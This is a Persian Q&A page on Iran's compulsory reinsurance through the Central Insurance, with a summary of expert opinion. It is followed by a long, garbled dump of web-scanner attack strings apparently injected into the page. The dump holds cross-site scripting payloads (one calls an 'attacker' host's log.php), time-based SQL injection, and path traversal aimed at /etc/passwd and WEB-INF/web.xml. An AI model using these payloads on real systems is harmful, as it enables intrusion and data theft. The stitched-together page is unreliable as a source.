سوال:

اتكايي اجباري بيمه مركزي همواره از جمله مسائل و موضوعات چالش برانگيز در صنعت بيمه بوده است. در اين راستا و در شرايطي كه تدوين برنامه ششم توسعه در دستور كار دولت و مجلس قرار گرفته است، به نظر بحث و تبادل نظر خبرگان صنعت بيمه در اين زمينه مي تواند منجر به ارائه راهكارهاي قانوني گردد.
مطابق با مقدمه فوق، سوالاتي به شرح زير قابل بحث مي باشد:

اتكايي اجباري در عملكرد صنعت بيمه چه جايگاهي دارد؟
چه ضرورتي براي حفظ اتكايي اجباري به شكل فعلي وجود دارد؟
تفكيك اتكايي اجباري در بيمه هاي زندگي و غيرزندگي چگونه بايستي باشد؟
چه راهكارهايي مي توان براي اصلاح و بهبود بيمه هاي اتكايي در صنعت بيمه ارائه كرد؟


 

جمع بندی نظرات:

 

اين موضوع را مي توان از ابعاد مختلف مورد تحليل قرار داد. اول آنكه بايد تحليل كرد اين قانون در چه زماني مقرر شده است، به نظر مي رسد زماني كه بازار بيمه كشور شكل گرفته و عدم اطمينان بالايي نسبت به فعاليت شركت هاي بيمه و نظارت نهاد ناظر وجود داشته، براي كنترل بيشتر چنين قانوني تدوين شده است، هم اكنون و با توجه به توسعه زيرساختي و ساختاري نهاد ناظر مي توان مكانيزم نظارت مستمر و دقيق را جايگزين اين موضوع كرد، با اين استدلال عملا اتكايي اجباري كاركرد خود را از دست داده است. از طرف ديگر با توجه به پيچيدگي صنعت بيمه و افزايش تعداد بازيگران مختلف اين صنعت، پرداختن به فعاليت اتكايي توسط نهاد ناظر موجبات غفلت و عدم تمركز در فعاليت اصلي نهاد ناظر را به دنبال دارد. موضوع سوم آن است كه فعاليت بيمه مركزي فضاي رقابتي شركت هاي بيمه به ويژه در حوزه اتكايي اجباري را مختل مي كند.
در راستای کاهش تصدی گری دولت روند بیمه اتکایی اجباری در سال های گذشته کاهشی بوده و در برنامه ششم توسعه به صفر خواهد رسید و سیاست‌های کلان اقتصادی به تفکیک نقش نظارتی و تصدی‌گری دولت تأکید دارند، بنابراین واگذاری تصدی‌گری‌ها به بخش خصوصی از ضرورت‌های اقتصادی به شمار می‌رود، لذا مشارکت 40 درصدی بیمه مرکزی در عملیات اجرایی و تحمل چالش‌های سرمایه‌گذاری ناشی از این منابع حجم عمده‌ای ازتصدی‌گری‌هایی است که در نقش مهم نظارتی بیمه مرکزی تأثیر منفی خواهد گذاشت. به عبارتی ساده‌تر نظارت بیمه مرکزی ایران از طریق شراکت با شرکت‌های بیمه منطقی به‌نظر نمی‌رسد، بدیهی است که شریک (حداقل15 و حداکثر 40 درصدی) نمی‌تواند 100 درصد نقش نظارتی بی‌طرف و مستقل را ایفا نماید.
با حذف بیمه اتکایی اجباری درآمد بیمه مرکزی کاهش چشم گیری خواهد یافت، این کاهش درآمد می تواند پایانی بر این مدعا باشد که "بیمه مرکزی شریک سود شرکت های بیمه شده است" و مجال بیشتری جهت انجام رسالت واقعی خود (نظارت بر عملکرد شرکت های بیمه؛ نه مشارکت با آن ها) خواهد یافت. البته با توجه به تجربه تلخ شرکت بیمه توسعه، می بایست به عواقب و نتایج حذف اتکایی اجباری نیز توجه ویژه داشت.
از طرفی شرکت های بیمه در ایران عملیات مالی شفاف و قابل استنادی ندارند و ممکن است با حذف این رشته از بیمه های اتکایی شاهد اعسار چند شرکت بیمه دیگر در صنعت بیمه کشور باشیم.

krhjvwbo<img sRc='http://attacker-915617/log.php?

1

krhjvwbo<ifRAme sRc=916101.com></IfRamE>

1

krhjvwbo_EyBNh <ScRiPt >prompt(946722)</ScRiPt>

1

krhjvwbo}body{acu:Expre/**/SSion(prompt(973062))}

1

krhjvwbo<img<!-- --> src=x onerror=alert(933535);//><!-- -->

1

[url=http://www.vulnweb.com][/url]

1

<a HrEF=jaVaScRiPT:>

1

<a HrEF=http://www.vulnweb.com></a>

1

krhjvwbo<input autofocus onfocus=prompt(925843)>

1

1

krhjvwbo<ScRiPt>prompt(980888)</sCripT>

1

krhjvwbo\u003CScRiPt\u003Eprompt(931205)\u003C/sCripT\u003E

1

krhjvwbo<ScRiPt%20>prompt(964975)</sCripT>

1

krhjvwbo<img/src=">" onerror=alert(916710)>

1

krhjvwbo<img src=xyz OnErRor=prompt(987877)>

1

krhjvwbo<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(964052)>

1

krhjvwbo<body onload=prompt(992816)>

1

krhjvwbo<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='919039'>

1

krhjvwbo<div style=width:expression(prompt(902748))>

1

krhjvwbo<isindex type=image src=1 onerror=prompt(954822)>

1

krhjvwbo%3Csvg%20onload%3Dprompt(983591)%3E

1

krhjvwbo<svg

1

krhjvwbo<video><source onerror="javascript:prompt(986406)">

1

krhjvwbo<ScRiPt >prompt(934069)</ScRiPt>

1

krhjvwbo<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?976630></ScRiPt>

1

krhjvwbo<ScRiPt >prompt(933565)</ScRiPt>

1

krhjvwbo%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%72%6F%6D%70%74%28%39%38%30%36%32%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

krhjvwbo<script>prompt(946627)</script>

1

krhjvwbo<ScRiPt >prompt(938156)</ScRiPt>

1

CWS%07%0e000x%9c%3d%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP%22%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;%21S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%

1

acuz59lW%F0%9D%8C%86ucaz59lW

1

acux3077%C0%BEz1%C0%BCz2a%90bcxuca3077

1

acu4930%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4930

1

krhjvwbo_932230

1

'"()&%<acx><ScRiPt >prompt(952651)</ScRiPt>

1

krhjvwbo'"()&%<acx><ScRiPt >prompt(987480)</ScRiPt>

1

krhjvwbo

1

krhjvwbo

1

krhjvwbo

1

pwrtrksg

1

pwrtrksg

1

glohbwif

1<img sRc='http://attacker-960343/log.php?

glohbwif

1<ifRAme sRc=933370.com></IfRamE>

glohbwif

1_f8LQj <ScRiPt >prompt(973255)</ScRiPt>

glohbwif

1}body{acu:Expre/**/SSion(prompt(928643))}

glohbwif

1<img<!-- --> src=x onerror=alert(995261);//><!-- -->

glohbwif

[url=http://www.vulnweb.com][/url]

glohbwif

<a HrEF=jaVaScRiPT:>

glohbwif

<a HrEF=http://www.vulnweb.com></a>

glohbwif

1<input autofocus onfocus=prompt(969249)>

glohbwif

arqfnpme

1

glohbwif

1<ScRiPt>prompt(967936)</sCripT>

glohbwif

1\u003CScRiPt\u003Eprompt(971517)\u003C/sCripT\u003E

glohbwif

1<ScRiPt%20>prompt(943996)</sCripT>

glohbwif

1<img/src=">" onerror=alert(967655)>

arqfnpme

1

glohbwif

1<img src=xyz OnErRor=prompt(992083)>

glohbwif

1<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(916364)>

glohbwif

1<body onload=prompt(942889)>

glohbwif

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='938074'>

glohbwif

1<div style=width:expression(prompt(924360))>

glohbwif

1<isindex type=image src=1 onerror=prompt(907532)>

glohbwif

1%3Csvg%20onload%3Dprompt(919148)%3E

glohbwif

1<svg

(select convert(int,CHAR(65)))

1

glohbwif

1<video><source onerror="javascript:prompt(969773)">

1

1

glohbwif

1<ScRiPt >prompt(930771)</ScRiPt>

JyI=

1

@@wP0a0

1

glohbwif

1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?900351></ScRiPt>

1

1

\

1

glohbwif

1<ScRiPt >prompt(984284)</ScRiPt>

1'"

1

arqfnpme

1

glohbwif

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%72%6F%6D%70%74%28%39%30%36%38%38%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

glohbwif

1<script>prompt(967018)</script>

glohbwif

1<ScRiPt >prompt(904437)</ScRiPt>

glohbwif

CWS%07%0e000x%9c%3d%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP%22%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;%21S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93%22%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a%5ds%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d%5b%17%f3/%5b%dcm%7b%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09

/WEB-INF/web.xml?

1

WEB-INF\web.xml?

1

WEB-INF/web.xml?

1

wy20srJW'));select pg_sleep(6); --

1

glohbwif

acuKYARR%F0%9D%8C%86ucaKYARR

/\../\../\../\../\../\../\../etc/passwd

1

YTO83QYT');select pg_sleep(6); --

1

wzPhPz4N';select pg_sleep(6); --

1

file:///etc/passwd

1

glohbwif

acux9521%C0%BEz1%C0%BCz2a%90bcxuca9521

invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

1

LLrv5XJj')); waitfor delay '0:0:6' --

1

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

1

lJpSqRwf'); waitfor delay '0:0:3' --

1

glohbwif

acu4883%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4883

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

8C6U5zrA'; waitfor delay '0:0:3' --

1

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

1